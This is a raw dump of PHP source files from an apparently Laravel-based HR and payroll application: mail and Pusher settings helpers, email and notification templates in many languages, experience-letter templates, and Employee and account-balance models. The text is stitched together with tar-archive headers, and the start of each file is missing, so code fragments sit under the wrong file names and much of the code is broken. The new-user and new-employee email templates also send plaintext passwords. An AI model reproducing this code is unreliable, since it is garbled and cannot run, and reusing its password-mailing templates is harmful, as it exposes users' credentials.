'mail.mailers.smtp.port' => isset($settings['mail_port']) ? $settings['mail_port'] : '', 'mail.mailers.smtp.encryption' => isset($settings['mail_encryption']) ? $settings['mail_encryption'] : '', 'mail.mailers.smtp.username' => isset($settings['mail_username']) ? $settings['mail_username'] : '', 'mail.mailers.smtp.password' => isset($settings['mail_password']) ? $settings['mail_password'] : '', 'mail.from.address' => isset($settings['mail_from_address']) ? $settings['mail_from_address'] : '', 'mail.from.name' => isset($settings['mail_from_name']) ? $settings['mail_from_name'] : '', ]); return $settings; } else { return redirect()->back()->with('Email SMTP settings does not configured so please contact to your site admin.'); } } public static function getPusherDetails() { $data = DB::table('settings'); if (\Auth::check()) { $data = $data->where('created_by', '=', 1)->get(); if (count($data) == 0) { $data = DB::table('settings')->where('created_by', '=', 1)->get(); } } else { $data->where('created_by', '=', 1); $data = $data->get(); } $settings = [ 'pusher_app_id' => '', 'pusher_app_key' => '', 'pusher_app_secret' => '', 'pusher_app_cluster' => '', ]; foreach ($data as $row) { $settings[$row->name] = $row->value; } return $settings; } public static function getPusherSetting() { $settings = Utility::getPusherDetails(); if ($settings) { config([ 'chatify.pusher.key' => isset($settings['pusher_app_key']) ? $settings['pusher_app_key'] : '', 'chatify.pusher.secret' => isset($settings['pusher_app_secret']) ? $settings['pusher_app_secret'] : '', 'chatify.pusher.app_id' => isset($settings['pusher_app_id']) ? $settings['pusher_app_id'] : '', 'chatify.pusher.options.cluster' => isset($settings['pusher_app_cluster']) ? $settings['pusher_app_cluster'] : '', ]); return $settings; } } public static function emailTemplateLang($lang) { $defaultTemplate = [ 'new_user' => [ 'subject' => 'New User', 'lang' => [ 'en' => '

Hello, 
Welcome to {app_name}.

You are now user..

Email : {email}
Password : {password}

{app_url}

Thanks,
{app_name}

', ], ], 'new_employee' => [ 'subject' => 'New Employee', 'lang' => [ 'en' => '

Hello {employee_name}, 
Welcome to {app_name}.

You are now Employee..

Email : {employee_email}

Password : {employee_password}

{app_url}

Thanks,
{app_name}

', ], ], 'new_payroll' => [ 'subject' => 'New Payroll', 'lang' => [ 'en' => '

Subject:-HR department/Company to send payslips by email at time of confirmation of payslip

Hi {name},

Hope this email finds you well! Please see attached payslip for {salary_month}.

simply click on the button below

Payslip

Feel free to reach out if you have any questions.

Thank you

Regards,

HR Department,

{app_name}

', ], ], 'new_ticket' => [ 'subject' => 'New Ticket', 'lang' => [ 'en' => '

Subject:-HR department/Company to send ticket for {ticket_title}

Hi {ticket_name},

Hope this email finds you well! , Your ticket code is {ticket_code}.


{ticket_description},

Feel free to reach out if you have any questions.


Thank you

Regards,

HR Department,

{app_name}

', ], ], 'new_award' => [ 'subject' => 'New Award', 'lang' => [ 'en' => '

Subject:-HR department/Company to send award letter to recognize an employee

Hi {award_name},

I am much pleased to nominate {award_name}

I am satisfied that (he/she) is the best employee for the award. I have realized that she is a goal-oriented person, efficient and very punctual. She is always ready to share her knowledge of details.

Additionally, (he/she) has occasionally solved conflicts and difficult situations within working hours. (he/she) has received some awards from the non-governmental organization within the country; this was because of taking part in charity activities to help the needy.

I believe these qualities and characteristics need to be appreciated. Therefore, (he/she) deserves the award hence nominating her.

Feel free to reach out if you have any questions.

Thank you

Regards,

HR Department,

{app_name}

', ], ], 'employee_transfer' => [ 'subject' => 'Employee Transfer', 'lang' => [ 'en' => '

Subject:-HR department/Company to send transfer letter to be issued to an employee from one location to another.

Dear {transfer_name},

As per Management directives, your services are being transferred w.e.f.{transfer_date}.

Your new place of posting is {transfer_department} department of {transfer_branch} branch and date of transfer {transfer_date}.

{transfer_description}.

Feel free to reach out if you have any questions.

Thank you

Regards,

HR Department,

{app_name}

', ], ], 'employee_resignation' => [ 'subject' => 'Employee Resignation', 'lang' => [ 'en' => '

Subject:-HR department/Company to send resignation letter .

Dear {assign_user},

It is with great regret that I formally acknowledge receipt of your resignation notice on {notice_date} to {resignation_date} is your final day of work.

It has been a pleasure working with you, and on behalf of the team, I would like to wish you the very best in all your future endeavors. Included with this letter, please find an information packet with detailed information on the resignation process.

Thank you again for your positive attitude and hard work all these years.

Feel free to reach out if you have any questions.

Thank you

Regards,

HR Department,

{app_name}

', ], ], 'employee_trip' => [ 'subject' => 'Employee Trip', 'lang' => [ 'en' => '

Subject:-HR department/Company to send trip letter .

Dear {employee_trip_name},

Top of the morning to you! I am writing to your department office with a humble request to travel for a {purpose_of_visit} abroad.

It would be the leading climate business forum of the year and have been lucky enough to be nominated to represent our company and the region during the seminar.

My three-year membership as part of the group and contributions I have made to the company, as a result, have been symbiotically beneficial. In that regard, I am requesting you as my immediate superior to permit me to attend.

More detail about trip:{start_date} to {end_date}

Trip Duration:{start_date} to {end_date}

Purpose of Visit:{purpose_of_visit}

Place of Visit:{place_of_visit}

Description:{trip_description}

Feel free to reach out if you have any questions.

Thank you

Regards,

HR Department,

{app_name}

', ], ], 'employee_promotion' => [ 'subject' => 'Employee Promotion', 'lang' => [ 'en' => '

 

Subject:-HR department/Company to send job promotion congratulation letter.

Dear {employee_promotion_name},

Congratulations on your promotion to {promotion_designation} {promotion_title} effective {promotion_date}.

We shall continue to expect consistency and great results from you in your new role. We hope that you will set an example for the other employees of the organization.

We wish you luck for your future performance, and congratulations!.

Again, congratulations on the new position.

 

Feel free to reach out if you have any questions.

Thank you

Regards,

HR Department,

{app_name}

', ], ], 'employee_complaints' => [ 'subject' => 'Employee Complaints', 'lang' => [ 'en' => '

Subject:-HR department/Company to send complaints letter.

Dear {employee_complaints_name},

I would like to report a conflict between you and the other person.There have been several incidents over the last few days, and I feel that it is time to report a formal complaint against him/her.

 

Feel free to reach out if you have any questions.

Thank you

Regards,

HR Department,

{app_name}

', ], ], 'employee_warning' => [ 'subject' => 'Employee Warning', 'lang' => [ 'en' => '

Subject:-HR department/Company to send warning letter.

Dear {employee_warning_name},

{warning_subject}

{warning_description}

Feel free to reach out if you have any questions.

Thank you

Regards,

HR Department,

{app_name}

', ], ], 'employee_termination' => [ 'subject' => 'Employee Termination', 'lang' => [ 'en' => '

Subject:-HR department/Company to send termination letter.

Dear {employee_termination_name},

This letter is written to notify you that your employment with our company is terminated.

More detail about termination:

Notice Date :{notice_date}

Termination Date:{termination_date}

Termination Type:{termination_type}

 

Feel free to reach out if you have any questions.

Thank you

Regards,

HR Department,

{app_name}

', ], ], 'leave_status' => [ 'subject' => 'Leave Status', 'lang' => [ 'en' => '

Subject:-HR department/Company to send approval letter to {leave_status} a vacation or leave.

Dear {leave_status_name},

I have {leave_status} your leave request for {leave_reason} from {leave_start_date} to {leave_end_date}.

{total_leave_days} days I have {leave_status}  your leave request for {leave_reason}.

We request you to complete all your pending work or any other important issue so that the company does not face any loss or problem during your absence. We appreciate your thoughtfulness to inform us well in advance

 

Feel free to reach out if you have any questions.

Thank you

Regards,

HR Department,

{app_name}

', ], ], 'contract' => [ 'subject' => 'Contract', 'lang' => [ 'en' => '

Hi {contract_employee}

Contract Subject: {contract_subject}

Start Date: {contract_start_date}

End Date: {contract_end_date}

Looking forward to hear from you.

Kind Regards,

{company_name}

', ], ], ]; $email = EmailTemplate::all(); foreach ($email as $e) { foreach ($defaultTemplate[$e->slug]['lang'] as $content) { $emailNoti = EmailTemplateLang::where('parent_id', $e->id)->where('lang', $lang)->count(); if ($emailNoti == 0) { EmailTemplateLang::create( [ 'parent_id' => $e->id, 'lang' => $lang, 'subject' => $defaultTemplate[$e->slug]['subject'], 'content' => $content, ] ); } } } } public static function notificationTemplateLang($lang) { $defaultTemplate = [ 'new_monthly_payslip' => [ 'variables' => '{ "Year": "year" }', 'lang' => [ 'en' => 'Payslip generated of {year}.', ] ], 'new_announcement' => [ 'variables' => '{ "Announcement Title": "announcement_title", "Branch name": "branch_name", "Start Date": "start_date", "End Date": "end_date" }', 'lang' => [ 'en' => '{announcement_title} announcement created for branch {branch_name} from {start_date} to {end_date}', ], ], 'new_meeting' => [ 'variables' => '{ "Meeting title": "meeting_title", "Branch name": "branch_name", "Date": "date", "Time": "time" }', 'lang' => [ 'en' => '{meeting_title} meeting created for {branch_name} from {date} at {time}.', ], ], 'new_award' => [ 'variables' => '{ "Award name": "award_name", "Employee Name": "employee_name", "Date": "date" }', 'lang' => [ 'en' => '{award_name} created for {employee_name} from {date}.', ], ], 'new_holidays' => [ 'variables' => '{ "Occasion name": "occasion_name", "Start Date": "start_date", "End Date": "end_date" }', 'lang' => [ 'en' => '{occasion_name} on {start_date} to {end_date}.', ], ], 'new_company_policy' => [ 'variables' => '{ "Company policy name": "company_policy_name", "Branch name": "branch_name" }', 'lang' => [ 'en' => '{company_policy_name} for {branch_name} created.', ], ], 'new_ticket' => [ 'variables' => '{ "Ticket priority": "ticket_priority", "Employee Name": "employee_name" }', 'lang' => [ 'en' => 'New Support ticket created of {ticket_priority} priority for {employee_name}.', ], ], 'new_event' => [ 'variables' => '{ "Event name": "event_name", "Branch name": "branch_name", "Start Date": "start_date", "End Date": "end_date" }', 'lang' => [ 'en' => '{event_name} for branch {branch_name} from {start_date} to {end_date}', ], ], 'leave_approve_reject' => [ 'variables' => '{ "Leave Status": "leave_status" }', 'lang' => [ 'en' => 'Your leave has been {leave_status}.', ], ], 'new_trip' => [ 'variables' => '{ "Purpose of visit": "purpose_of_visit", "Place of visit": "place_of_visit", "Employee Name": "employee_name", "Start Date": "start_date", "End Date": "end_date" }', 'lang' => [ 'en' => '{purpose_of_visit} is created to visit {place_of_visit} for {employee_name} from {start_date} to {end_date}.', ], ], 'contract_notification' => [ 'variables' => '{ "Contract number": "contract_number", "Contract company name": "contract_company_name" }', 'lang' => [ 'en' => 'New Invoice {contract_number} created by {contract_company_name}.', ], ], ]; $notification = NotificationTemplates::all(); foreach ($notification as $ntfy) { foreach ($defaultTemplate[$ntfy->slug]['lang'] as $content) { $emailNoti = NotificationTemplateLangs::where('parent_id', $ntfy->id)->where('lang', $lang)->count(); if ($emailNoti == 0) { NotificationTemplateLangs::create( [ 'parent_id' => $ntfy->id, 'lang' => $lang, 'variables' => $defaultTemplate[$ntfy->slug]['variables'], 'content' => $content, 'created_by' => 1, ] ); } } } } public static function referralTransaction($plan, $company = '') { if ($company != '') { $objUser = $company; } else { $objUser = \Auth::user(); } $user = ReferralTransaction::where('company_id', $objUser->id)->first(); $referralSetting = ReferralSetting::where('created_by', 1)->first(); if ($objUser->used_referral_code != 0 && $user == null && (isset($referralSetting) && $referralSetting->is_enable == 1)) { $transaction = new ReferralTransaction(); $transaction->company_id = $objUser->id; $transaction->plan_id = $plan->id; $transaction->plan_price = $plan->price; $transaction->commission = $referralSetting->percentage; $transaction->referral_code = $objUser->used_referral_code; $transaction->save(); $commissionAmount = ($plan->price * $referralSetting->percentage) / 100; $user = User::where('referral_code', $objUser->used_referral_code)->first(); $user->commission_amount = $user->commission_amount + $commissionAmount; $user->save(); } } } Models/TerminationType.php000064400000000270150364306410011634 0ustar00first(); return $employee; } public static function employeeIdFormat($number) { $settings = Utility::settings(); return $settings["employee_prefix"] . sprintf("%05d", $number); } public function employees() { return $this->hasOne('App\Models\Employee', 'id', 'employee_id'); } } Models/Holiday.php000064400000000303150364306410010067 0ustar00first(); $accountBalance->initial_balance = $amount + $accountBalance->initial_balance; $accountBalance->save(); } public static function remove_Balance($id, $amount) { $accountBalance = \App\Models\AccountList::where('id', '=', $id)->first(); $accountBalance->initial_balance = $accountBalance->initial_balance - $amount; $accountBalance->save(); } public static function transfer_Balance($from_account,$to_account,$amount) { $fromAccount = \App\Models\AccountList::where('id', '=', $from_account)->first(); $fromAccount->initial_balance = $fromAccount->initial_balance - $amount; $fromAccount->save(); $toAccount = \App\Models\AccountList::where('id', '=', $to_account)->first(); $toAccount->initial_balance = $toAccount->initial_balance + $amount; $toAccount->save(); } } Models/AnnouncementEmployee.php000064400000000337150364306410012637 0ustar00 '-', 'date' => '-', 'employee_name' => '-', 'duration' => '-', 'designation' => '-', 'payroll' => '-', ]; foreach($obj as $key => $val) { $arrValue[$key] = $val; } $settings = Utility::settings(); $arrValue['app_name'] = env('APP_NAME'); return str_replace($arrVariable, array_values($arrValue), $content); } public static function defaultExpCertificat() { $defaultTemplate = [ 'ar' => '

بريد إلكتروني تجربة

{app_name}

إلي من يهمه الامر

{date}

{employee_name}

مدة الخدمة {duration} في {app_name}.

{designation}

{payroll}

الادوار والمسؤوليات

وصف موجز لمسار عمل الموظف وبيان إيجابي من المدير أو المشرف.

بإخلاص،

{employee_name}

{designation}

التوقيع

{app_name}

', 'da' => '

Erfaringsbrev

{app_name}

TIL HVEM DET MÅTTE VEDRØRE

{date}

{employee_name}

Tjenesteperiode {duration} i {app_name}.

{designation}

{payroll}

Roller og ansvar

Kort beskrivelse af medarbejderens ansættelsesforløb og positiv udtalelse fra leder eller arbejdsleder.

Med venlig hilsen

{employee_name}

{designation}

Underskrift

{app_name}

', 'de' => '

Erfahrungsbrief

{app_name}

WEN ES ANGEHT

{date}

{employee_name}

Dienstzeit {duration} in {app_name}.

{designation}

{payroll}

Rollen und Verantwortlichkeiten

Kurze Beschreibung des beruflichen Werdegangs des Mitarbeiters und eine positive Stellungnahme des Vorgesetzten oder Vorgesetzten.

Aufrichtig,

{employee_name}

{designation}

Unterschrift

{app_name}

', 'en' => '

Experience Letter

 

{app_name}

TO WHOM IT MAY CONCERN

{date}

{employee_name}

Tenure of Service {duration} in {app_name}.

{designation}

{payroll}

Roles and Responsibilities

 

Brief description of the employee’s course of employment and a positive statement from the manager or supervisor.

 

Sincerely,

{employee_name}

{designation}

Signature

{app_name}

', 'es' => '

Carta de experiencia

{app_name}

A QUIEN LE INTERESE

{date}

{employee_name}

Duración del servicio {duration} en {app_name}.

{designation}

{payroll}

Funciones y responsabilidades

Breve descripción del curso de empleo del empleado y una declaración positiva del gerente o supervisor.

Sinceramente,

{employee_name}

{designation}

Firma

{app_name}

', 'fr' => '

Lettre dexpérience

{app_name}

À QUI DE DROIT

{date}

{employee_name}

Durée du service {duration} dans {app_name}.

{designation}

{payroll}

Rôles et responsabilités

Brève description de lévolution de lemploi de lemployé et une déclaration positive du gestionnaire ou du superviseur.

Sincèrement,

{employee_name}

{designation}

Signature

{app_name}

', 'id' => '

Surat Pengalaman

{app_name}

UNTUK PERHATIAN

{date}

{employee_name}

Jangka Waktu Layanan {duration} di {app_name}.

{designation}

{payroll}

Peran dan Tanggung Jawab

Deskripsi singkat tentang pekerjaan karyawan dan pernyataan positif dari manajer atau supervisor.

Sungguh-sungguh,

{employee_name}

{designation}

Tanda tangan

{app_name}

', 'it' => '

Lettera di esperienza

{app_name}

PER CHI È COINVOLTO

{date}

{employee_name}

Durata del servizio {duration} in {app_name}.

{designation}

{payroll}

Ruoli e responsabilità

Breve descrizione del percorso lavorativo del dipendente e dichiarazione positiva del manager o supervisore.

Cordiali saluti,

{employee_name}

{designation}

Firma

{app_name}

', 'ja' => '

体験談

{app_name}

ご担当者様

{date}

{employee_name}

{app_name} のサービス {duration} の保有期間。

{designation}

{payroll}

役割と責任

従業員の雇用コースの簡単な説明と、マネージャーまたはスーパーバイザーからの肯定的な声明。

心から、

{employee_name}

{designation}

サイン

{app_name}

', 'nl' => '

Ervaringsbrief

{app_name}

VOOR WIE HET AANGAAT

{date}

{employee_name}

Diensttijd {duration} in {app_name}.

{designation}

{payroll}

Rollen en verantwoordelijkheden

Korte omschrijving van het dienstverband van de medewerker en een positieve verklaring van de leidinggevende of leidinggevende.

Eerlijk,

{employee_name}

{designation}

Handtekening

{app_name}

', 'pl' => '

Doświadczenie List

{app_name}

DO TYCH KTÓRYCH MOŻE TO DOTYCZYĆ

{date}

{employee_name}

Okres świadczenia usług {duration} w aplikacji {app_name}.

{designation}

{payroll}

Role i obowiązki

Krótki opis przebiegu zatrudnienia pracownika oraz pozytywna opinia kierownika lub przełożonego.

Z poważaniem,

{employee_name}

{designation}

Podpis

{app_name}

', 'pt' => '

Carta de Experiência

{app_name}

A QUEM POSSA INTERESSAR

{date}

{employee_name}

Tempo de serviço {duration} em {app_name}.

{designation}

{payroll}

Papéis e responsabilidades

Breve descrição do curso de emprego do funcionário e uma declaração positiva do gerente ou supervisor.

Sinceramente,

{employee_name}

{designation}

Assinatura

{app_name}

', 'ru' => '

Письмо об опыте

{app_name}

ДЛЯ ПРЕДЪЯВЛЕНИЯ ПО МЕСТУ ТРЕБОВАНИЯ

{date}

{employee_name}

Срок службы {duration} в {app_name}.

{designation}

{payroll}

Роли и обязанности

Краткое описание трудового стажа работника и положительное заключение руководителя или руководителя.

Искренне,

{employee_name}

{designation}

Подпись

{app_name}

', 'tr' => '

Tecrübe mektubu

{app_name}

İLGİLİ MAKAMA

{date}

{employee_name}

Hizmet süresi {duration} içinde {app_name}.

{designation}

{payroll}

Görev ve Sorumluluklar

Çalışanların istihdam sürecinin kısa açıklaması ve yönetici veya amirden olumlu bir açıklama.

Samimi olarak,

{employee_name}

{designation}

İmza

{app_name}

', 'zh' => '

经验信

{app_name}

敬启者

{date}

{employee_name}

服务期限 {duration} 在 {app_name}.

{designation}

{payroll}

角色和责任

员工就业历程的简要描述以及经理或主管的积极声明.

真挚地,

{employee_name}

{designation}

签名

{app_name}

', 'he' => '

מכתב ניסיון

{app_name}

לכל מאן דבעי

{date}

{employee_name}

כהונת שירות {duration} ב {app_name}.

{designation}

{payroll}

תפקידים ואחריות

תיאור קצר של מהלך העסקת העובדים והצהרה חיובית מהמנהל או הממונה.

בכנות,

{employee_name}

{designation}

חֲתִימָה

{app_name}

', 'pt-br' => '

Carta de Experiência

{app_name}

A QUEM POSSA INTERESSAR

{date}

{employee_name}

Tempo de serviço {duration} em {app_name}.

{designation}

{payroll}

Papéis e responsabilidades

Breve descrição do curso de emprego do funcionário e uma declaração positiva do gerente ou supervisor.

Sinceramente,

{employee_name}

{designation}

Assinatura

{app_name}

', ]; foreach($defaultTemplate as $lang => $content) { ExperienceCertificate::create( [ 'lang' => $lang, 'content' => $content, 'created_by' => 2, ] ); } } public static function defaultExpCertificatRegister($user_id) { $defaultTemplate = [ 'ar' => '

بريد إلكتروني تجربة

{app_name}

إلي من يهمه الامر

{date}

{employee_name}

مدة الخدمة {duration} في {app_name}.

{designation}

{payroll}

الادوار والمسؤوليات

وصف موجز لمسار عمل الموظف وبيان إيجابي من المدير أو المشرف.

بإخلاص،

{employee_name}

{designation}

التوقيع

{app_name}

', 'da' => '

Erfaringsbrev

{app_name}

TIL HVEM DET MÅTTE VEDRØRE

{date}

{employee_name}

Tjenesteperiode {duration} i {app_name}.

{designation}

{payroll}

Roller og ansvar

Kort beskrivelse af medarbejderens ansættelsesforløb og positiv udtalelse fra leder eller arbejdsleder.

Med venlig hilsen

{employee_name}

{designation}

Underskrift

{app_name}

', 'de' => '

Erfahrungsbrief

{app_name}

WEN ES ANGEHT

{date}

{employee_name}

Dienstzeit {duration} in {app_name}.

{designation}

{payroll}

Rollen und Verantwortlichkeiten

Kurze Beschreibung des beruflichen Werdegangs des Mitarbeiters und eine positive Stellungnahme des Vorgesetzten oder Vorgesetzten.

Aufrichtig,

{employee_name}

{designation}

Unterschrift

{app_name}

', 'en' => '

Experience Letter

 

{app_name}

TO WHOM IT MAY CONCERN

{date}

{employee_name}

Tenure of Service {duration} in {app_name}.

{designation}

{payroll}

Roles and Responsibilities

 

Brief description of the employee’s course of employment and a positive statement from the manager or supervisor.

 

Sincerely,

{employee_name}

{designation}

Signature

{app_name}

', 'es' => '

Carta de experiencia

{app_name}

A QUIEN LE INTERESE

{date}

{employee_name}

Duración del servicio {duration} en {app_name}.

{designation}

{payroll}

Funciones y responsabilidades

Breve descripción del curso de empleo del empleado y una declaración positiva del gerente o supervisor.

Sinceramente,

{employee_name}

{designation}

Firma

{app_name}

', 'fr' => '

Lettre dexpérience

{app_name}

À QUI DE DROIT

{date}

{employee_name}

Durée du service {duration} dans {app_name}.

{designation}

{payroll}

Rôles et responsabilités

Brève description de lévolution de lemploi de lemployé et une déclaration positive du gestionnaire ou du superviseur.

Sincèrement,

{employee_name}

{designation}

Signature

{app_name}

', 'id' => '

Surat Pengalaman

{app_name}

UNTUK PERHATIAN

{date}

{employee_name}

Jangka Waktu Layanan {duration} di {app_name}.

{designation}

{payroll}

Peran dan Tanggung Jawab

Deskripsi singkat tentang pekerjaan karyawan dan pernyataan positif dari manajer atau supervisor.

Sungguh-sungguh,

{employee_name}

{designation}

Tanda tangan

{app_name}

', 'it' => '

Lettera di esperienza

{app_name}

PER CHI È COINVOLTO

{date}

{employee_name}

Durata del servizio {duration} in {app_name}.

{designation}

{payroll}

Ruoli e responsabilità

Breve descrizione del percorso lavorativo del dipendente e dichiarazione positiva del manager o supervisore.

Cordiali saluti,

{employee_name}

{designation}

Firma

{app_name}

', 'ja' => '

体験談

{app_name}

ご担当者様

{date}

{employee_name}

{app_name} のサービス {duration} の保有期間。

{designation}

{payroll}

役割と責任

従業員の雇用コースの簡単な説明と、マネージャーまたはスーパーバイザーからの肯定的な声明。

心から、

{employee_name}

{designation}

サイン

{app_name}

', 'nl' => '

Ervaringsbrief

{app_name}

VOOR WIE HET AANGAAT

{date}

{employee_name}

Diensttijd {duration} in {app_name}.

{designation}

{payroll}

Rollen en verantwoordelijkheden

Korte omschrijving van het dienstverband van de medewerker en een positieve verklaring van de leidinggevende of leidinggevende.

Eerlijk,

{employee_name}

{designation}

Handtekening

{app_name}

', 'pl' => '

Doświadczenie List

{app_name}

DO TYCH KTÓRYCH MOŻE TO DOTYCZYĆ

{date}

{employee_name}

Okres świadczenia usług {duration} w aplikacji {app_name}.

{designation}

{payroll}

Role i obowiązki

Krótki opis przebiegu zatrudnienia pracownika oraz pozytywna opinia kierownika lub przełożonego.

Z poważaniem,

{employee_name}

{designation}

Podpis

{app_name}

', 'pt' => '

Carta de Experiência

{app_name}

A QUEM POSSA INTERESSAR

{date}

{employee_name}

Tempo de serviço {duration} em {app_name}.

{designation}

{payroll}

Papéis e responsabilidades

Breve descrição do curso de emprego do funcionário e uma declaração positiva do gerente ou supervisor.

Sinceramente,

{employee_name}

{designation}

Assinatura

{app_name}

', 'ru' => '

Письмо об опыте

{app_name}

ДЛЯ ПРЕДЪЯВЛЕНИЯ ПО МЕСТУ ТРЕБОВАНИЯ

{date}

{employee_name}

Срок службы {duration} в {app_name}.

{designation}

{payroll}

Роли и обязанности

Краткое описание трудового стажа работника и положительное заключение руководителя или руководителя.

Искренне,

{employee_name}

{designation}

Подпись

{app_name}

', 'tr' => '

Tecrübe mektubu

{app_name}

İLGİLİ MAKAMA

{date}

{employee_name}

Hizmet süresi {duration} içinde {app_name}.

{designation}

{payroll}

Görev ve Sorumluluklar

Çalışanların istihdam sürecinin kısa açıklaması ve yönetici veya amirden olumlu bir açıklama.

Samimi olarak,

{employee_name}

{designation}

İmza

{app_name}

', 'zh' => '

经验信

{app_name}

敬启者

{date}

{employee_name}

服务期限 {duration} 在 {app_name}.

{designation}

{payroll}

角色和责任

员工就业历程的简要描述以及经理或主管的积极声明.

真挚地,

{employee_name}

{designation}

签名

{app_name}

', 'he' => '

מכתב ניסיון

{app_name}

לכל מאן דבעי

{date}

{employee_name}

כהונת שירות {duration} ב {app_name}.

{designation}

{payroll}

תפקידים ואחריות

תיאור קצר של מהלך העסקת העובדים והצהרה חיובית מהמנהל או הממונה.

בכנות,

{employee_name}

{designation}

חֲתִימָה

{app_name}

', 'pt-br' => '

Carta de Experiência

{app_name}

A QUEM POSSA INTERESSAR

{date}

{employee_name}

Tempo de serviço {duration} em {app_name}.

{designation}

{payroll}

Papéis e responsabilidades

Breve descrição do curso de emprego do funcionário e uma declaração positiva do gerente ou supervisor.

Sinceramente,

{employee_name}

{designation}

Assinatura

{app_name}

', ]; foreach($defaultTemplate as $lang => $content) { ExperienceCertificate::create( [ 'lang' => $lang, 'content' => $content, 'created_by' => $user_id, ] ); } } } Models/Employee.php000064400000022041150364306410010260 0ustar00hasMany('App\Models\EmployeeDocument', 'employee_id', 'employee_id')->get(); } public function salary_type() { return $this->hasOne('App\Models\PayslipType', 'id', 'salary_type')->pluck('name')->first(); } public function account_type() { return $this->hasOne('App\Models\AccountList', 'id', 'account_type')->pluck('account_name')->first(); } public function get_net_salary() { $allowances = Allowance::where('employee_id', '=', $this->id)->get(); $total_allowance = 0; foreach ($allowances as $allowance) { if ($allowance->type == 'percentage') { $employee = Employee::find($allowance->employee_id); $total_allowance = $allowance->amount * $employee->salary / 100 + $total_allowance; } else { $total_allowance = $allowance->amount + $total_allowance; } } //commission $commissions = Commission::where('employee_id', '=', $this->id)->get(); $total_commission = 0; foreach ($commissions as $commission) { if ($commission->type == 'percentage') { $employee = Employee::find($commission->employee_id); $total_commission = $commission->amount * $employee->salary / 100 + $total_commission; } else { $total_commission = $commission->amount + $total_commission; } } //Loan $loans = Loan::where('employee_id', '=', $this->id)->get(); $total_loan = 0; foreach ($loans as $loan) { if ($loan->type == 'percentage') { $employee = Employee::find($loan->employee_id); $total_loan = $loan->amount * $employee->salary / 100 + $total_loan; } else { $total_loan = $loan->amount + $total_loan; } } //Saturation Deduction $saturation_deductions = SaturationDeduction::where('employee_id', '=', $this->id)->get(); $total_saturation_deduction = 0; foreach ($saturation_deductions as $saturation_deduction) { if ($saturation_deduction->type == 'percentage') { $employee = Employee::find($saturation_deduction->employee_id); $total_saturation_deduction = $saturation_deduction->amount * $employee->salary / 100 + $total_saturation_deduction; } else { $total_saturation_deduction = $saturation_deduction->amount + $total_saturation_deduction; } } //OtherPayment $other_payments = OtherPayment::where('employee_id', '=', $this->id)->get(); $total_other_payment = 0; foreach ($other_payments as $other_payment) { if ($other_payment->type == 'percentage') { $employee = Employee::find($other_payment->employee_id); $total_other_payment = $other_payment->amount * $employee->salary / 100 + $total_other_payment; } else { $total_other_payment = $other_payment->amount + $total_other_payment; } } //Overtime $over_times = Overtime::where('employee_id', '=', $this->id)->get(); $total_over_time = 0; foreach ($over_times as $over_time) { $total_work = $over_time->number_of_days * $over_time->hours; $amount = $total_work * $over_time->rate; $total_over_time = $amount + $total_over_time; } //Net Salary Calculate $advance_salary = $total_allowance + $total_commission - $total_loan - $total_saturation_deduction + $total_other_payment + $total_over_time; $employee = Employee::where('id', '=', $this->id)->first(); $net_salary = (!empty($employee->salary) ? $employee->salary : 0) + $advance_salary; return $net_salary; } public static function allowance($id) { //allowance $allowances = Allowance::where('employee_id', '=', $id)->get(); $total_allowance = 0; foreach ($allowances as $allowance) { $total_allowance = $allowance->amount + $total_allowance; } $allowance_json = json_encode($allowances); return $allowance_json; } public static function commission($id) { //commission $commissions = Commission::where('employee_id', '=', $id)->get(); $total_commission = 0; foreach ($commissions as $commission) { $total_commission = $commission->amount + $total_commission; } $commission_json = json_encode($commissions); return $commission_json; } public static function loan($id) { //Loan $loans = Loan::where('employee_id', '=', $id)->get(); $total_loan = 0; foreach ($loans as $loan) { $total_loan = $loan->amount + $total_loan; } $loan_json = json_encode($loans); return $loan_json; } public static function saturation_deduction($id) { //Saturation Deduction $saturation_deductions = SaturationDeduction::where('employee_id', '=', $id)->get(); $total_saturation_deduction = 0; foreach ($saturation_deductions as $saturation_deduction) { $total_saturation_deduction = $saturation_deduction->amount + $total_saturation_deduction; } $saturation_deduction_json = json_encode($saturation_deductions); return $saturation_deduction_json; } public static function other_payment($id) { //OtherPayment $other_payments = OtherPayment::where('employee_id', '=', $id)->get(); $total_other_payment = 0; foreach ($other_payments as $other_payment) { $total_other_payment = $other_payment->amount + $total_other_payment; } $other_payment_json = json_encode($other_payments); return $other_payment_json; } public static function overtime($id) { //Overtime $over_times = Overtime::where('employee_id', '=', $id)->get(); $total_over_time = 0; foreach ($over_times as $over_time) { $total_work = $over_time->number_of_days * $over_time->hours; $amount = $total_work * $over_time->rate; $total_over_time = $amount + $total_over_time; } $over_time_json = json_encode($over_times); return $over_time_json; } public static function employee_id() { $employee = Employee::latest()->first(); return !empty($employee) ? $employee->id + 1 : 1; } public function branch() { return $this->hasOne('App\Models\Branch', 'id', 'branch_id'); } public function phone() { return $this->hasOne('App\Models\Employee', 'id', 'phone'); } public function department() { return $this->hasOne('App\Models\Department', 'id', 'department_id'); } public function designation() { return $this->hasOne('App\Models\Designation', 'id', 'designation_id'); } public function salaryType() { return $this->hasOne('App\Models\PayslipType', 'id', 'salary_type'); } public function user() { return $this->hasOne('App\Models\User', 'id', 'user_id'); } public function paySlip() { return $this->hasOne('App\Models\PaySlip', 'id', 'employee_id'); } public function present_status($employee_id, $data) { return AttendanceEmployee::where('employee_id', $employee_id)->where('date', $data)->first(); } public static function employee_name($name) { $employee = Employee::where('id', $name)->first(); if (!empty($employee)) { return $employee->name; } } public static function login_user($name) { $user = User::where('id', $name)->first(); return $user->name; } public static function employee_salary($salary) { $employee = Employee::where("salary", $salary)->first(); if ($employee->salary == '0' || $employee->salary == '0.0') { return "-"; } else { return $employee->salary; } } } Models/OtherPayment.php000064400000000722150364306410011122 0ustar00hasOne('App\Models\Employee', 'id', 'employee_id')->first(); } public static $otherPaymenttype=[ 'fixed'=>'Fixed', 'percentage'=> 'Percentage', ]; } Models/CompanyPolicy.php000064400000000537150364306410011275 0ustar00hasOne('App\Models\Branch', 'id', 'branch'); } } Models/Languages.php000064400000000264150364306410010412 0ustar00first(); return $account; } public static function payer($payer) { $payer = Payer::where('id', '=', $payer)->first(); return $payer; } public function income_category($category) { $category = IncomeType::where('id', '=', $category)->first(); return $category; } public function payment_type($payment) { $payment = PaymentType::where('id', '=', $payment)->first(); return $payment; } public function accounts() { return $this->hasOne('App\Models\AccountList', 'id', 'account_id'); } public function payers() { return $this->hasOne('App\Models\Payer', 'id', 'payer_id'); } public function payment_types() { return $this->hasOne('App\Models\PaymentType', 'id', 'payment_type_id'); } public function income_categorys() { return $this->hasOne('App\Models\IncomeType', 'id', 'income_category_id'); } } 